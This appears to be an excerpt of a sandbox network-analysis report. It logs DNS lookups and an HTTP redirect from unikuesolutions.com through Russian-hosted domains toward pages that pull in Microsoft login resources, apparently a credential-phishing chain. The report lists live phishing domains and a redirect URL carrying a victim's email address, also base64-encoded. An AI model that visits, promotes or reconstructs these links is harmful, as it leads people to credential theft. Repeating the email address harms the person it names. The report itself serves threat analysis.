Jan 11, 2025 01:12:47.047130108 CET	192.168.2.16	1.1.1.1	0xc8f6	Standard query (0)	hsfwwhjaxkf3tk1j4piuntasocghl6oprwpy8ksuu5fw9tgqvjbpgv6tsppp.concivergo.ru	65	IN (0x0001)	false
Jan 11, 2025 01:12:48.206516981 CET	192.168.2.16	1.1.1.1	0xa43c	Standard query (0)	hsfwwhjaxkf3tk1j4piuntasocghl6oprwpy8ksuu5fw9tgqvjbpgv6tsppp.concivergo.ru	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:12:48.206516981 CET	192.168.2.16	1.1.1.1	0x5b99	Standard query (0)	hsfwwhjaxkf3tk1j4piuntasocghl6oprwpy8ksuu5fw9tgqvjbpgv6tsppp.concivergo.ru	65	IN (0x0001)	false
Jan 11, 2025 01:12:48.207031965 CET	192.168.2.16	1.1.1.1	0x36fb	Standard query (0)	login.microsoftonline.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:12:48.207031965 CET	192.168.2.16	1.1.1.1	0x6d8c	Standard query (0)	login.microsoftonline.com	65	IN (0x0001)	false
Jan 11, 2025 01:12:49.213948965 CET	192.168.2.16	1.1.1.1	0x7ec6	Standard query (0)	www.office.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:12:49.213948965 CET	192.168.2.16	1.1.1.1	0x6ed2	Standard query (0)	www.office.com	65	IN (0x0001)	false
Jan 11, 2025 01:12:51.233737946 CET	192.168.2.16	1.1.1.1	0x4012	Standard query (0)	www.office.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:12:51.233907938 CET	192.168.2.16	1.1.1.1	0x2b04	Standard query (0)	www.office.com	65	IN (0x0001)	false
Jan 11, 2025 01:12:52.191418886 CET	192.168.2.16	1.1.1.1	0xd149	Standard query (0)	identity.nel.measure.office.net	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:12:52.191673040 CET	192.168.2.16	1.1.1.1	0x2896	Standard query (0)	identity.nel.measure.office.net	65	IN (0x0001)	false
Jan 11, 2025 01:12:52.322664976 CET	192.168.2.16	1.1.1.1	0x8777	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:12:52.322664976 CET	192.168.2.16	1.1.1.1	0xda1	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Jan 11, 2025 01:13:37.739737034 CET	192.168.2.16	1.1.1.1	0x25a8	Standard query (0)	signup.live.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:13:37.739866018 CET	192.168.2.16	1.1.1.1	0xa17f	Standard query (0)	signup.live.com	65	IN (0x0001)	false
Jan 11, 2025 01:13:39.684533119 CET	192.168.2.16	1.1.1.1	0xe1e	Standard query (0)	logincdn.msftauth.net	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:13:39.684740067 CET	192.168.2.16	1.1.1.1	0x168f	Standard query (0)	logincdn.msftauth.net	65	IN (0x0001)	false
Jan 11, 2025 01:13:42.866532087 CET	192.168.2.16	1.1.1.1	0xad11	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:13:42.866708040 CET	192.168.2.16	1.1.1.1	0xb8c5	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Jan 11, 2025 01:13:43.798192978 CET	192.168.2.16	1.1.1.1	0xc5bf	Standard query (0)	logincdn.msftauth.net	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:13:43.798388004 CET	192.168.2.16	1.1.1.1	0x5d80	Standard query (0)	logincdn.msftauth.net	65	IN (0x0001)	false
Jan 11, 2025 01:13:43.831345081 CET	192.168.2.16	1.1.1.1	0x521e	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:13:43.831466913 CET	192.168.2.16	1.1.1.1	0x9524	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Jan 11, 2025 01:13:44.254590034 CET	192.168.2.16	1.1.1.1	0x5e15	Standard query (0)	fpt.live.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:13:44.254787922 CET	192.168.2.16	1.1.1.1	0x2830	Standard query (0)	fpt.live.com	65	IN (0x0001)	false
Jan 11, 2025 01:13:44.255173922 CET	192.168.2.16	1.1.1.1	0x3779	Standard query (0)	msft.hsprotect.net	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:13:44.255310059 CET	192.168.2.16	1.1.1.1	0xd02e	Standard query (0)	msft.hsprotect.net	65	IN (0x0001)	false
Jan 11, 2025 01:13:44.622546911 CET	192.168.2.16	1.1.1.1	0xe2ee	Standard query (0)	signup.live.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:13:44.622896910 CET	192.168.2.16	1.1.1.1	0x9350	Standard query (0)	signup.live.com	65	IN (0x0001)	false
Jan 11, 2025 01:13:45.261113882 CET	192.168.2.16	1.1.1.1	0xb396	Standard query (0)	client.hsprotect.net	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:13:45.261554956 CET	192.168.2.16	1.1.1.1	0x9b19	Standard query (0)	client.hsprotect.net	65	IN (0x0001)	false
Jan 11, 2025 01:13:46.630059004 CET	192.168.2.16	1.1.1.1	0xc156	Standard query (0)	client.hsprotect.net	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:13:46.630239964 CET	192.168.2.16	1.1.1.1	0xc5bd	Standard query (0)	client.hsprotect.net	65	IN (0x0001)	false
Jan 11, 2025 01:13:46.656249046 CET	192.168.2.16	1.1.1.1	0xd35b	Standard query (0)	stk.hsprotect.net	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:13:46.656528950 CET	192.168.2.16	1.1.1.1	0x430	Standard query (0)	stk.hsprotect.net	65	IN (0x0001)	false
Jan 11, 2025 01:13:46.674521923 CET	192.168.2.16	1.1.1.1	0x6c0b	Standard query (0)	collector-pxzc5j78di.hsprotect.net	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:13:46.674710035 CET	192.168.2.16	1.1.1.1	0x387f	Standard query (0)	collector-pxzc5j78di.hsprotect.net	65	IN (0x0001)	false
Jan 11, 2025 01:13:47.352718115 CET	192.168.2.16	1.1.1.1	0x7a43	Standard query (0)	collector-pxzc5j78di.hsprotect.net	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:13:47.352924109 CET	192.168.2.16	1.1.1.1	0x7e39	Standard query (0)	collector-pxzc5j78di.hsprotect.net	65	IN (0x0001)	false
Jan 11, 2025 01:13:47.370206118 CET	192.168.2.16	1.1.1.1	0x47cc	Standard query (0)	stk.hsprotect.net	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:13:47.370460987 CET	192.168.2.16	1.1.1.1	0x4204	Standard query (0)	stk.hsprotect.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 01:11:44.160453081 CET	1.1.1.1	192.168.2.16	0x552	No error (0)	unikuesolutions.com		103.83.194.55	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:11:44.932925940 CET	1.1.1.1	192.168.2.16	0x9399	No error (0)	bur.tabilicit.ru			65	IN (0x0001)	false
Jan 11, 2025 01:11:44.968653917 CET	1.1.1.1	192.168.2.16	0x334d	No error (0)	bur.tabilicit.ru		188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:11:44.968653917 CET	1.1.1.1	192.168.2.16	0x334d	No error (0)	bur.tabilicit.ru		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:11:46.744803905 CET	1.1.1.1	192.168.2.16	0x914a	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:11:46.744803905 CET	1.1.1.1	192.168.2.16	0x914a	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:11:46.744803905 CET	1.1.1.1	192.168.2.16	0x914a	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:11:46.744803905 CET	1.1.1.1	192.168.2.16	0x914a	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:11:46.744923115 CET	1.1.1.1	192.168.2.16	0x8447	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 11, 2025 01:11:46.744932890 CET	1.1.1.1	192.168.2.16	0x69a5	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:11:46.744932890 CET	1.1.1.1	192.168.2.16	0x69a5	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:11:46.745126009 CET	1.1.1.1	192.168.2.16	0xeaf7	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:11:46.745126009 CET	1.1.1.1	192.168.2.16	0xeaf7	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:11:46.745136976 CET	1.1.1.1	192.168.2.16	0x7fe0	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Jan 11, 2025 01:11:47.498589993 CET	1.1.1.1	192.168.2.16	0x6ef1	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:11:47.498589993 CET	1.1.1.1	192.168.2.16	0x6ef1	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:11:47.498820066 CET	1.1.1.1	192.168.2.16	0x286e	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Jan 11, 2025 01:11:47.518412113 CET	1.1.1.1	192.168.2.16	0x3452	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:11:47.518412113 CET	1.1.1.1	192.168.2.16	0x3452	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:11:47.518412113 CET	1.1.1.1	192.168.2.16	0x3452	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:11:47.518412113 CET	1.1.1.1	192.168.2.16	0x3452	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:11:47.658654928 CET	1.1.1.1	192.168.2.16	0xaeb5	No error (0)	www.google.com		172.217.18.4	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:11:47.658889055 CET	1.1.1.1	192.168.2.16	0xfadb	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 11, 2025 01:11:48.060591936 CET	1.1.1.1	192.168.2.16	0xf541	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:11:48.060591936 CET	1.1.1.1	192.168.2.16	0xf541	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:11:48.061013937 CET	1.1.1.1	192.168.2.16	0xb19c	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 11, 2025 01:11:48.075409889 CET	1.1.1.1	192.168.2.16	0xfc2a	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:11:48.075409889 CET	1.1.1.1	192.168.2.16	0xfc2a	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:11:48.075871944 CET	1.1.1.1	192.168.2.16	0xe7c3	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 11, 2025 01:11:49.755691051 CET	1.1.1.1	192.168.2.16	0xf05a	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:12:47.143903017 CET	1.1.1.1	192.168.2.16	0xc442	No error (0)	hsfwwhjaxkf3tk1j4piuntasocghl6oprwpy8ksuu5fw9tgqvjbpgv6tsppp.concivergo.ru		104.21.6.222	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:12:47.143903017 CET	1.1.1.1	192.168.2.16	0xc442	No error (0)	hsfwwhjaxkf3tk1j4piuntasocghl6oprwpy8ksuu5fw9tgqvjbpgv6tsppp.concivergo.ru		172.67.155.45	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:12:47.232532024 CET	1.1.1.1	192.168.2.16	0xc8f6	No error (0)	hsfwwhjaxkf3tk1j4piuntasocghl6oprwpy8ksuu5fw9tgqvjbpgv6tsppp.concivergo.ru			65	IN (0x0001)	false
Jan 11, 2025 01:12:48.213730097 CET	1.1.1.1	192.168.2.16	0x36fb	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:12:48.214886904 CET	1.1.1.1	192.168.2.16	0x6d8c	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:12:48.259524107 CET	1.1.1.1	192.168.2.16	0x5b99	No error (0)	hsfwwhjaxkf3tk1j4piuntasocghl6oprwpy8ksuu5fw9tgqvjbpgv6tsppp.concivergo.ru			65	IN (0x0001)	false
Jan 11, 2025 01:12:48.311248064 CET	1.1.1.1	192.168.2.16	0xa43c	No error (0)	hsfwwhjaxkf3tk1j4piuntasocghl6oprwpy8ksuu5fw9tgqvjbpgv6tsppp.concivergo.ru		104.21.6.222	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:12:48.311248064 CET	1.1.1.1	192.168.2.16	0xa43c	No error (0)	hsfwwhjaxkf3tk1j4piuntasocghl6oprwpy8ksuu5fw9tgqvjbpgv6tsppp.concivergo.ru		172.67.155.45	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:12:49.220906019 CET	1.1.1.1	192.168.2.16	0x7ec6	No error (0)	www.office.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:12:49.220906019 CET	1.1.1.1	192.168.2.16	0x7ec6	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:12:49.251267910 CET	1.1.1.1	192.168.2.16	0x6ed2	No error (0)	www.office.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:12:49.251267910 CET	1.1.1.1	192.168.2.16	0x6ed2	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:12:50.319138050 CET	1.1.1.1	192.168.2.16	0xed79	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:12:50.319138050 CET	1.1.1.1	192.168.2.16	0xed79	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:12:51.214817047 CET	1.1.1.1	192.168.2.16	0x2b4d	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:12:51.214817047 CET	1.1.1.1	192.168.2.16	0x2b4d	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:12:51.240894079 CET	1.1.1.1	192.168.2.16	0x4012	No error (0)	www.office.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:12:51.240894079 CET	1.1.1.1	192.168.2.16	0x4012	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:12:51.274862051 CET	1.1.1.1	192.168.2.16	0x2b04	No error (0)	www.office.com	home-portal.office.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:12:51.274862051 CET	1.1.1.1	192.168.2.16	0x2b04	No error (0)	home-portal.office.com	home-office365-com.b-0004.b-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:12:52.198749065 CET	1.1.1.1	192.168.2.16	0xd149	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:12:52.198781013 CET	1.1.1.1	192.168.2.16	0x2896	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:12:52.329242945 CET	1.1.1.1	192.168.2.16	0x8777	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:12:52.329242945 CET	1.1.1.1	192.168.2.16	0x8777	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:12:52.329242945 CET	1.1.1.1	192.168.2.16	0x8777	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:12:52.344558954 CET	1.1.1.1	192.168.2.16	0xda1	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:12:52.344558954 CET	1.1.1.1	192.168.2.16	0xda1	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:13:37.746622086 CET	1.1.1.1	192.168.2.16	0x25a8	No error (0)	signup.live.com	account.msa.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:13:37.751308918 CET	1.1.1.1	192.168.2.16	0xa17f	No error (0)	signup.live.com	account.msa.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:13:39.690949917 CET	1.1.1.1	192.168.2.16	0x7b23	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:13:39.690949917 CET	1.1.1.1	192.168.2.16	0x7b23	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:13:39.691318989 CET	1.1.1.1	192.168.2.16	0xe1e	No error (0)	logincdn.msftauth.net	scdn38c07.wpc.9da5e.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:13:39.691318989 CET	1.1.1.1	192.168.2.16	0xe1e	No error (0)	scdn38c07.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:13:39.691318989 CET	1.1.1.1	192.168.2.16	0xe1e	No error (0)	sni1gl.wpc.alphacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:13:39.708775997 CET	1.1.1.1	192.168.2.16	0x6341	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:13:39.708775997 CET	1.1.1.1	192.168.2.16	0x6341	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:13:39.709652901 CET	1.1.1.1	192.168.2.16	0xc196	No error (0)	scdn38c07.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:13:39.709652901 CET	1.1.1.1	192.168.2.16	0xc196	No error (0)	sni1gl.wpc.alphacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:13:39.710019112 CET	1.1.1.1	192.168.2.16	0xac38	No error (0)	scdn38c07.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:13:39.711354971 CET	1.1.1.1	192.168.2.16	0x168f	No error (0)	logincdn.msftauth.net	scdn38c07.wpc.9da5e.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:13:39.711354971 CET	1.1.1.1	192.168.2.16	0x168f	No error (0)	scdn38c07.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:13:42.873600960 CET	1.1.1.1	192.168.2.16	0xad11	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:13:42.873600960 CET	1.1.1.1	192.168.2.16	0xad11	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:13:42.873600960 CET	1.1.1.1	192.168.2.16	0xad11	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:13:42.873600960 CET	1.1.1.1	192.168.2.16	0xad11	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:13:42.897037983 CET	1.1.1.1	192.168.2.16	0xb8c5	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:13:42.897037983 CET	1.1.1.1	192.168.2.16	0xb8c5	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:13:43.805496931 CET	1.1.1.1	192.168.2.16	0xc5bf	No error (0)	logincdn.msftauth.net	scdn38c07.wpc.9da5e.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:13:43.805496931 CET	1.1.1.1	192.168.2.16	0xc5bf	No error (0)	scdn38c07.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:13:43.805496931 CET	1.1.1.1	192.168.2.16	0xc5bf	No error (0)	sni1gl.wpc.alphacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:13:43.815327883 CET	1.1.1.1	192.168.2.16	0x5d80	No error (0)	logincdn.msftauth.net	scdn38c07.wpc.9da5e.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:13:43.815327883 CET	1.1.1.1	192.168.2.16	0x5d80	No error (0)	scdn38c07.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:13:43.840342999 CET	1.1.1.1	192.168.2.16	0x521e	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:13:43.840342999 CET	1.1.1.1	192.168.2.16	0x521e	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:13:43.840342999 CET	1.1.1.1	192.168.2.16	0x521e	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:13:43.840342999 CET	1.1.1.1	192.168.2.16	0x521e	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:13:43.850312948 CET	1.1.1.1	192.168.2.16	0x9524	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:13:43.850312948 CET	1.1.1.1	192.168.2.16	0x9524	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:13:44.265960932 CET	1.1.1.1	192.168.2.16	0x5e15	No error (0)	fpt.live.com	fpt.microsoft.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:13:44.266094923 CET	1.1.1.1	192.168.2.16	0x2830	No error (0)	fpt.live.com	fpt.microsoft.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:13:44.267014027 CET	1.1.1.1	192.168.2.16	0xd02e	No error (0)	msft.hsprotect.net	msft.hsprotect.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:13:44.267533064 CET	1.1.1.1	192.168.2.16	0x3779	No error (0)	msft.hsprotect.net	msft.hsprotect.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:13:44.629383087 CET	1.1.1.1	192.168.2.16	0xe2ee	No error (0)	signup.live.com	account.msa.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:13:44.662434101 CET	1.1.1.1	192.168.2.16	0x9350	No error (0)	signup.live.com	account.msa.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:13:45.272022009 CET	1.1.1.1	192.168.2.16	0xb396	No error (0)	client.hsprotect.net	client.hsprotect.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:13:45.272037029 CET	1.1.1.1	192.168.2.16	0x9b19	No error (0)	client.hsprotect.net	client.hsprotect.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:13:46.637593985 CET	1.1.1.1	192.168.2.16	0xc156	No error (0)	client.hsprotect.net	client.hsprotect.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:13:46.637943983 CET	1.1.1.1	192.168.2.16	0xc5bd	No error (0)	client.hsprotect.net	client.hsprotect.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:13:46.663183928 CET	1.1.1.1	192.168.2.16	0xd35b	No error (0)	stk.hsprotect.net		34.107.199.61	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:13:46.681665897 CET	1.1.1.1	192.168.2.16	0x387f	No error (0)	collector-pxzc5j78di.hsprotect.net	inbound-weighted.protechts.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:13:46.682058096 CET	1.1.1.1	192.168.2.16	0x6c0b	No error (0)	collector-pxzc5j78di.hsprotect.net	inbound-weighted.protechts.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:13:46.682058096 CET	1.1.1.1	192.168.2.16	0x6c0b	No error (0)	inbound-weighted.protechts.net		35.190.10.96	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:13:47.360035896 CET	1.1.1.1	192.168.2.16	0x7e39	No error (0)	collector-pxzc5j78di.hsprotect.net	inbound-weighted.protechts.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:13:47.360055923 CET	1.1.1.1	192.168.2.16	0x7a43	No error (0)	collector-pxzc5j78di.hsprotect.net	inbound-weighted.protechts.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:13:47.360055923 CET	1.1.1.1	192.168.2.16	0x7a43	No error (0)	inbound-weighted.protechts.net		35.190.10.96	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:13:47.377696037 CET	1.1.1.1	192.168.2.16	0x47cc	No error (0)	stk.hsprotect.net		34.107.199.61	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

unikuesolutions.com

bur.tabilicit.ru

https:

code.jquery.com

challenges.cloudflare.com

cdnjs.cloudflare.com

hsfwwhjaxkf3tk1j4piuntasocghl6oprwpy8ksuu5fw9tgqvjbpgv6tsppp.concivergo.ru

logincdn.msftauth.net

collector-pxzc5j78di.hsprotect.net

stk.hsprotect.net

a.nel.cloudflare.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49708	103.83.194.55	80	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 01:11:44.166150093 CET	494	OUT	GET /ck/bd/%7BRANDOM_NUMBER05%7D/YmVuc29uLmxpbkB2aGFjb3JwLmNvbQ== HTTP/1.1 Host: unikuesolutions.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Jan 11, 2025 01:11:44.797880888 CET	259	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 00:11:44 GMT Server: Apache refresh: 0;url=https://buR.tabilicit.ru/HgSlh/#Xbenson.lin@vhacorp.com Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
